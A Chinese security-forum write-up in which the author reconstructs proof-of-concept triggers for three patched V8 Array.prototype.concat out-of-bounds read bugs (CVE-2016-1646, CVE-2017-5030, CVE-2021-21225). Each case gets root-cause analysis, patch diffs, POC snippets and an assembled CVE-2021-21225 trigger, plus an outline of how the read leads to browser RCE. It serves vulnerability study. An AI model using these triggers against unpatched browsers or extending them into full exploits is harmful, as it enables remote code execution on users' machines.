V8 Array.prototype.concat函数出现过的issues和他们的POC们
本文为看雪论坛精华文章
看雪论坛作者ID:苏啊树
1:写在前面:
最近老是做一些根据文档和代码构造POC的事情,经常想着怎么锻炼这一方面的能力。以v8为例,如果让别人直接指出某个地方有问题,然后让我去找出来,构造POC以至于EXP,以我现在对v8的熟练程度,简直是开玩笑。
于是秉着循序渐进的原则,想到了高中做物理题目,就把这个过程理解为高中做开放物理课题的过程。
先假设有个出题人,给出了所有满足解题的条件,然后尝试根据这些题目给出的提示解出正确的答案。秉着这个思路给自己设计了一个练习方案。
这次设计的练习主要参考的是这篇文章:
https://tiszka.com/blog/CVE_2021_21225.html
选择这篇文章做练习的原因:
1:这位师傅对这一系列漏洞触发的成因和条件描写得令人发指的详细。
2:这个系列的漏洞本人以往只是做过利用,对漏洞的原因和触发的条件却是一知半解了,很适合目前的我用来练习构造v8 POC的课题。
先假设这篇文章所说的内容就认为是解题需要的所有条件。
当然,不需要跟某些大佬设置的CTF考试一样闭卷考……可以搜索互联网上POC和EXP除外的所有知识要点。
尝试根据文中给出代码提示和自己掌握的和搜索的知识构造出POC。
最后看看根据自己的理解和实验构造出的POC,和原文给出的POC有什么区别。
因为包含三个漏洞,所以没有构建v8环境进行调试,也没有看源代码,其实就这个目的来说也没太大必要,如果只说针对构造漏洞触发的条件的话,原文的代码片段及解释已经足够的详细。
因此只有下载相应版本的Chrome来测试是否能走到触发漏洞为止。
虽然讲的是POC的构造,不过这里还是先介绍这系列漏洞利用的原理吧,毕竟知道怎么玩,才有足够的动力去挖。
1.1:Array.prototype.concat函数漏洞。
这系列的漏洞公告介绍是越界读导致的RCE,一般的越界读漏洞只能获得信息泄露或转换为任意读,但这一系列漏洞却是可以通过越界读来获得RCE。
其中的关键点就是巧妙的利用v8的GC机制,来往我们可以索引到的数组元素里面“写进“我们预先构造好的数组地址,来伪造我们可以完全控制的数组,从而获得任意读写的能力,具体过程如下。
1.2:Array.prototype.concat函数漏洞的利用原理:
1.2.1:假设我们拥有这样一个浮点数组var A = [1.1,2.2,3.3,4.4];
其在v8的内存布局中是这样的: (图 1.2.1.1所表示的,在指针压缩引入之前的v8,浮点数组A内存布局,引入之后的A内存布局有些区别,但是在这里的漏洞利用的原理都是一样)
图 1.2.1.1
假设这个时候length变成了1,并且触发了GC回收,v8一般不会在原内存中重建或保存数组A,相反会在一块新的内存地址中,重建数组A,并更新内存布局,情况会如图 1.2.1.2所示:
图 1.2.1.2
假设这个过程中出现问题数组长度没有变化,length依旧为4,那么重建的数组A,这情况就如同图 1.2.1.3,这种情况下我们就可以通过A[1]越界索引到map,能通过A[3]能索引到elements,泄露出重要的内存地址。
图 1.2.1.3
1.2.2:假设我们原本的数组 var A=[1.1,2.2,3.3,4.4,5.5,{}];,也如上述所讲的情况,将数组length修改为1,触发垃圾CG回收情况,情况就会如图1.2.2.1所示:
图 1.2.2.1
这时候如果length实际上没有更新的话,如图1.2.2.2,我们提前设置好的地址会代替对象{}的地址,因为A[5]原本指向为一个{}对象,所以我们可以通过A[5]索引,把我们预先布局好的对象地址,索引为{}对象。
图 1.2.2.2
通过在预先布局的地址构造好我们的伪造对象数据,可以实现完全控制一个对象,再通过这个完全控制的对象,进一步实现v8进程内存的任意读写,结合前面的信息泄露,就凑够了v8 RCE需要的所有原语。
这里漏洞利用有个重要技巧,涉及到v8的CG机制,在作者的https://tiszka.com/blog/CVE_2021_21225_exploit.html
writeup里面有详细说明,要了解这漏洞的RCE技巧,以及想了解v8 RCE和CG知识的,建议细读。
2:关于Array.prototype.concat()出现的历史漏洞
2.1:CVE-2016-1646
2.1.1 CVE-2016-1646 root case
漏洞发生在函数Array.prototype.concat(),简单分析一下代码要点。
图 2.1.1.1
图2.1.1.1代码所示: Array.prototype.concat的返回放置[1]所示的visitor对象。args表示的是参与函数运算的参数,接下来的循环,需要会对每个参数args->at(i)进行了IteratorElements运算。
图2.1.1.2
图2.1.1.2 : [3]可以看到在IterateElement运算中,会将图 2.1.1.1过程中中的args->at(i)保存在array这个变量之中,然后在[4]过程中将数组array的长度放置在变量length上,并且对数组的类型ElementsKind进行判断,以便接下来做相应的处理。
图2.1.1.3 : 在ElementsKind判断之后在[7]中将前面[4]的length的值赋值到fast_length变量中,并用于接下来的FOR_WITH_HANDLE_SCOPE的循环。(也就是说array在Array.prototype.concat运算中返回的数组长度在,这个过程中已经不会再变化,为fast_length)
图 2.1.1.4
图 2.1.1.4:
在FOR_WITH_HANDLE_SCOPE的循环中,[9]中会取出数组的element,然后[10]判断element是否为hole,如果为hole则会调用JSReceiver::GetElement(isolate,array,j),并调用visitor->visit(j,element)来返回结果。
但是问题是JSReceiver::GetElement(isolate,array,j)为v8的Slow运算,该过程会触发Getter回调。
我们可以通过在回调中写入任意的JS代码来触发越界读。
具体的触发漏洞的做法前面已经说过,将array的length减小,然后触发垃圾回收。因为我们用于FOR_WITH_HANDLE_SCOPE循环的fast_length实际上并没有发生变化,所以结果会读取length之后的数值回去。
2.1.2 构造POC
2.1.2.1综合POC构造需要满足所有条件
条件1:创建FAST_DOUBLE_ELEMENTS类型的数组 A;
条件2:进入element_value->IsTheHole(isolate) 的代码流程。
条件3:在hole元素中。执行JSReceiver::GetElement触发Getter回调。
条件4:在回调函数之中减小A数组的长度,并触发CG。
条件5: 当然,最后一步需要执行Array.prototype.concat函数,才能走进前面4个条件的执行代码流程。
2.1.2.2 POC的构造;
条件1:创建FAST_DOUBLE_ELEMENTS类型的数组。
代码:
var A = [1.1,2.2,3.3,4.4,5.5];
条件2:要满足element_value->IsTheHole(isolate)。
这个条件要求在条件1里创建的数组A上创建一个hole,满足ElementValue->IsTheHole(),才会走到条件3的JSReceiver::GetElement分支流程触发回调。
代码:
delete A[1];
//关于hole是什么:
https://stackoverflow.com/questions/61420580/can-anyone-explain-v8-bytecode-ldathehole
条件3:在hole元素中执行JSReceiver::GetElement触发Getter回调,因此这步构造为
因为JSReceiver::GetElement实际上是遍历A的原型,所以这一步构造为:
代码:
A.__proto__=f //(创建A的原型对象)
f.__defineGetter__(1,evil);
条件4:在回调函数之中减小A数组的长度,并触发CG。
代码:
function evil(){
A.length=1;
new ArrayBuffer(0x7fe00000);//=>触发CG
}
条件5:执行Array.prototype.concat函数,走进前面4个条件的代码执行流程。
代码:
var a = Array.prototype.concat(A);
为了方便演示,直接将结果打印出来。
console.log(a);
2.1.2.3结果演示:
这里可以看到,在hole元素A[1]之后,由于触发了上述所说的越界读漏洞,读取了奇怪的数字代替了原本数组的元素。
2.1.3 补丁修复
这里的修复的手段是
ß---------------------------插入了补丁
+if(!HasOnlySimpleElements(isolate, *receiver))
+{
+ return IteratesSlow(isolate, receiver, length, visitor);
+ }
switch(array->GetElementsKind){
该补丁是在switch(array->GetElementsKind)开始前就插入了HasOnlySimpleElements(isolate, *receiver)的检测,检查是否存在Element元素的Getter,Setter回调。
如果有,就执行IteratesSlow(isolate, receiver, length, visitor),不会进入FOR_WITH_HANDLE_SCOPE的循环过程。
但是FOR_WITH_HANDLE_SCOPE循环过程实际上还存在,如果在FOR_WITH_HANDLE_SCOPE循环里面还能发现有别的办法执行自定义的JS,依旧可以利用自定义的JS来进行数组length减小,垃圾回收的操作,使用同样的办法来触发越界读取漏洞。
结合之前的分析结果,可以将触发这一类漏洞的问题就可以分解为两个部分:
1)我们可以通过某种手段,绕过HasOnlySimpleElements(isolate, *receiver)的检测,进入FOR_WITH_HANDLE_SCOP循环。
2)在FOR_WITH_HANDLE_SCOP循环返回之前,控制执行自定义的JS代码。
2.2:CVE-2017-5030
2.2.1在CVE-2016-1646修补之后的几个月, Symbol.species和代理对象Proxy object被引入
2.2.1.1:Symbol.species对于Array.prototype.concat的影响:
Symbol.species操作会重写对象的构造函数,在Array.prototype.concat这样的JavaScript内置函数中,会使用Symbol.species里面的函数重新加载执行构造函数,来创建新的对象,从而能影响到Array.prototype.concat的返回结果。
这里有简单的演示案例:
图 2.1.1.1
图 2.1.1.1简单验证了Symbol.species是可以影响Array.prototype.concat的返回结果,这里将一个Number 5写入了的返回结果。
但是问题是Symbol.species,在哪里,如何影响Array.prototype.concat的返回结果。
2.2.1.2 Array.prototype.concat实现过程对于Symbol.species的处理
图 2.2.1.2
实际上v8的处理,是在Array.prototype.concat执行之中,为Symbol.species新建一个Handle<Object> species对象,然后在执行Handle<Object> species对象的JS代码一次,然后将其结果放入visitor之中,从前面2.1中的介绍可以知道,visitor是处理返回的对象。
也就是说图 2.2.1.2的代码片段说明,我们通过Handle<Object> species对象的执行,可以在Array.prototype.concat返回visitor之中写入一个我们自己控制的对象。
离我们触发漏洞的目的只剩下一步,就是在FOR_WITH_HANDLE_SCOP过程中找到我么写入对象执行回调的机会。
在接下来FOR_WITH_HANDLE_SCOP循环的时候,调用了visitor->visit()返回结果。
查看改代码片段:
图 2.2.1.3
图 2.2.1.3的代码片段表示,
这里的visitor->visit()最后使用了JSReceiver::CreateDataProperty处理结果,然后作为Array.prototype.concat的返回。
仔细看JSReceiver::CreateDataProperty的处理逻辑:
图 2.2.1.4
在JSReceiver::CreateDataProperty中存在JSProxy::DefineOwnProperty分支,其执行过程为:
图 2.2.1.5
JSProxy::DefineOwnProperty会调用Object::GetMethod方法寻代理对”defineProperty”字符串的代理,很明显这个JSProxy::DefineOwnProperty就是跟随Proxy object代理对象的增加而被引入。
Object::GetMethod方法会触发Getter的” defineProperty”回调。
2.2.2 构造POC:
2.2.2.1 综合POC构造需要满足所有条件
条件1:通过的重构函数Symbole.species写入一个对象到Array.prototype.concat的返回对象visiter中。因为并不是Elements之中Setter和Getter回调,所以可以绕过CVE-2016-1646加上的防护,到达我们期望进入的FOR_WITH_HANDLE_SCOPE循环。
条件2:通过对写入的对象进行代理设置,可以使代码在返回Array.prototype.concat的visitor->visit()流程中,走进JSReceiver::CreateDataProperty的Maybe<bool> JSProxy::DefineOwnProperty的处理分支中。
条件3:对写入的该对象设置”defineProperty”字符串的Getter回调,执行我们自定义的JS代码。
条件4:在我们自定义的JS代码里面将length设置为1,然后触发垃圾回收,触发越界读。
2.2.2.2 POC的构造:
条件1 :
构造Symbol.species重写构造函数在Visitor中加入我们指定的对象MyProxy:
代码:
class MyArray extend Array{
static get[Symbol.species](){
return function(){return MyProxy}
}
}
条件2
将我们的指定对象MyProxy设置为代理对象,以便在visitor->visit()执行JSReceiver::CreateDataPropert的时候,走进JSProxy::DefineOwnProperty分支触发回调:
代码:
handler = {};
MyProxy=new Proxy({},handler);
条件3
对该代理对象MyProxy的getter设置”defineProperty”字符串回调,加入我们自定义的JS代码。
代码:
handler.__proto__.__defineGetter(“defineProperty”,evil);
条件4
在我们自定义的代码里面,将数组长度减小,进行垃圾回收,触发越界读。
代码:
function evil(){
A.length = 1;
cg();
}
2.2.2.4 结果演示:
图 2.2.2.4
图 2.2.2.5
通过上图,可以看到hole元素及其之后的元素已经被奇怪的数字覆盖,形成了和CVE-2016-1646类似的越界读。
//=>这里触发CG 这里是用的垃圾回收方法和第一个POC不同,因为测试的Google Chrome 55.0.2883.87 (正式版本) (64 位)使用前面的CG方式会出现Out of Memory的/问题。
2.2.3 补丁修复
这里的修复方案是在CVE-2016-1646的检测基础上,又添加了一个检测,检测这个结果对象是否为为”Simple”类型。保证Symbol.species重构函数的返回result object不是一个Proxy Object。
+ if(!visitor->has_simple_elements*+() || !HasOnlySimpleElements(isolate, *receiver)){
return IteratorElementsSlow(isolate, receiver, length, visitor);
}
Handle<JSObject> array = Handle<JSObject>::cast(receiver);
switch(array->GetElementsKind()){
case PACKED_SMI_ELEMENT:
case PACKED_ELEMENTS:
case PACKED_FROZEN_ELEMENTS:
case HOLY_ELEMENTS:{}
}
这里依旧有两个问题点。
1):我们依旧可以用Symbol.species往visitor里面写入自定义的对象。
2):如果在FOR_WITH_HANDLE_SCOPE循环里面可以用别的方法触发回调,执行自定义的JS代码,那么相同的越界读还是会触发。
2.3 CVE-2021-21225
2.3.1 v8新引进的机制对Array.prototype.concat函数的影响
TC39引进了Make integer-indexed elements [[Configurable]]
作者说这意味着
var u32 = new Uint32Array(64);
Object.defineProperty(1,{configurable:true});
也就是所有类型的elements都能进行配置。
2.3.2.1:新机制对CreateDataProperty的影响
从V8脚本引擎的视角,意味着CreateDataProperty(typedArray, 0, 5)是允许的。
作者在CreateDataProperty做了深入研究,发现Object::SetDataProperty在原本的基础上里面引入了新逻辑。
图 2.3.2.1
图 2.3.2.1 代码片段在Object::SetDataProperty里面有一个逻辑,[5]代码片段显示如果array的元素原本是一个可配置的object,array会将其从Object类型转化为numeric type。
但是问题是可配置的Object转换为numeric type数字的过程可以插入我们自定义的JS代码如图 2.3.2.2所示:
图 2.3.2.2
图 2.3.2.2这里的实例简单的说明,v8对如果将一个object函数对象转换为数字,会触发原本object对象原本配置的函数过程,可以执行执行用户自定义JS的代码。
结合前面分析,我们可以借由Symbol.species重写构造函数,将array的元素走入FOR_WITH_HANDLE_SCOPE循环中的代码片段Object::SetDataProperty里面。
如果我们将其中一个元素设置为图 2.3.2.2所示的配置对象,那么这个代码流程会进入图2.3.2.1所示的代码片段,将Object对象转化为Number。
在Object对象转换为Number对象的时候,会先执行一遍object对象的配置,触发调用object里面的自定义JS代码,这样就可以再一次触发和CVE-2016-1646相同的越界读漏洞。
2.3.2构造POC:
2.3.2.1 综合POC构造需要满足所有条件
条件1:通过Symbole.species写入一个对象到Array.prototype.concat的返回对象visit中。因为并不是Elements之中Setter和Getter回调,所以可以绕过CVE-2016-1646加上的防护,到达我们期望进入的FOR_WITH_HANDLE_SCOPE循环。
条件2:对我们的元素进行配置,可以使代码在返回Array.prototype.concat的对象设置visitor->visit()流程中,走进JSReceiver::CreateDataProperty的Maybe<bool> Object::SetDataProperty处理分支中。
条件3:配置的元素写入我们自定义的JS代码。
条件4:在自定义的JS代码里将length设置为1,然后触发垃圾回收,达到我们期待的越界读。
2.3.2.1 POC的构造:
条件1 :构造Symbol.species重写构造函数,以便在我们的代码走入JSReceiver::CreateDataProperty
在Visitor中加入我们指定的对象MyProxy,保证PrototypeArray为TypeArray即可:
代码:
MyProperty = new Float64Array(20);
class MyArray extend Array{
static get[Symbol.species](){
return function(){return PrototypeArray}
}
}
这里发现MyProperty = new Float64Array(20);里面的数组如果太小,不会走进这代码流程,和作者一样用var u32 = new Uint32Array(64);不稳定,会崩溃。
条件2:
对我们的元素进行配置,可以使代码在返回Array.prototype.concat的对象设置visitor->visit()流程中,走进JSReceiver::CreateDataProperty的Maybe<bool> Object::SetDataProperty处理分支中。
var A = new MyArray(20);
A.fill(1.1);
delete A[1];
条件3:配置的函数写入我们自定义的JS代码。
条件4:在自定义的JS代码里将length设置为1,然后触发垃圾回收,达到我们期待的越界读。
A.__proto__[1]={
valueOf: function(){
A.length=1;
gc();
}
} A.__proto__[1]={
valueOf: function(){
A.length=1;
gc();
}
}
2.3.2.2将POC进行整合
function gc() {
for (var i = 0; i < 0x100000; ++i) {
var a = new String();
}
}
let PrototypeArray = new Float64Array(20);
class MyArray extends Array {
static get [Symbol.species]() {
return function() { return PrototypeArray; }
};
}
var A = new MyArray(20);
A.fill(1.1);
delete A[1];
A.__proto__[1]={
valueOf: function() {
A.length = 1;
gc();
}
};
var c = Array.prototype.concat.call(A);
console.log(c);
2.3.2.2结果演示
遗憾的并没有成功。
图 2.3.2.2
按照图 2.3.2.2报错提示说在MyArray.concat中出现问题,说是[object Object]只有getter,不能设置其长度,因为在Array.prototype.concat.call过程中MyArray已经被新的构造函数重写为let PrototypeArray = new Float64Array(20);的PrototypeArray,所以这个[object Object]应该指的就是PrototypeArray,
再者这里说property length不能设置导致错误,我们尝试随意对PrototypeArray配置其length属性的setter,看会出现什么。
因为本人也不知道Setter设置需要是什么,所以这里这里测试设置为数字1。
PrototypeArray.__defineSetter__('length', 1);
得出来的报错为:
图 2.3.2.3
图 2.3.2.3提示时出现了Excepting Function,我们可以看到这里Setter应该配置为function。
PrototypeArray.__defineSetter__('length', function(){});
最后成功出现越界读现象。
图 2.3.2.4
总结:
第一:三个案例写出的POC都是根据作者的提示,最后写的和作者给出的差不多,有点区别的是三个实例中的触发的回调,本人用的都是用__proto__,也就是对其原型进行设置,作者设置方式比较灵活,貌似在很多情况下没什么必要。
第二:在CVE-2021-21225的构造中,发现用Float64Array作为TypeArray的时候最为稳定,并且element的不能太少,否则不能触发,并且不知道为什么要设置PrototypeArray.__defineSetter__('length', function(){});,难道是因为作为构造函数返回对象的PrototypeArray 的length默认不能改变?
总之最后一个POC都是连懵带猜的拼凑出来的,有兴趣研究的同学可以自己去看看源码为什么。
第三:其实也是作者原文想说明的,v8对于CVE-2016-1646和CVE-2017-5030的修复没有修补在源头上。
最后v8的修复方案是对FOR_WITH_HANDLE_SCOPE循环里的函数设置了个assert,让这期间发生自定义的JS回调就抛出异常崩溃,也算是彻底断绝了这个函数的漏洞。
看雪ID:苏啊树
https://bbs.pediy.com/user-home-808412.htm
# 往期推荐
4.Android4.4和8.0 DexClassLoader加载流程分析之寻找脱壳点
5.实战DLL注入
球分享
球点赞
球在看
点击“阅读原文”,了解更多!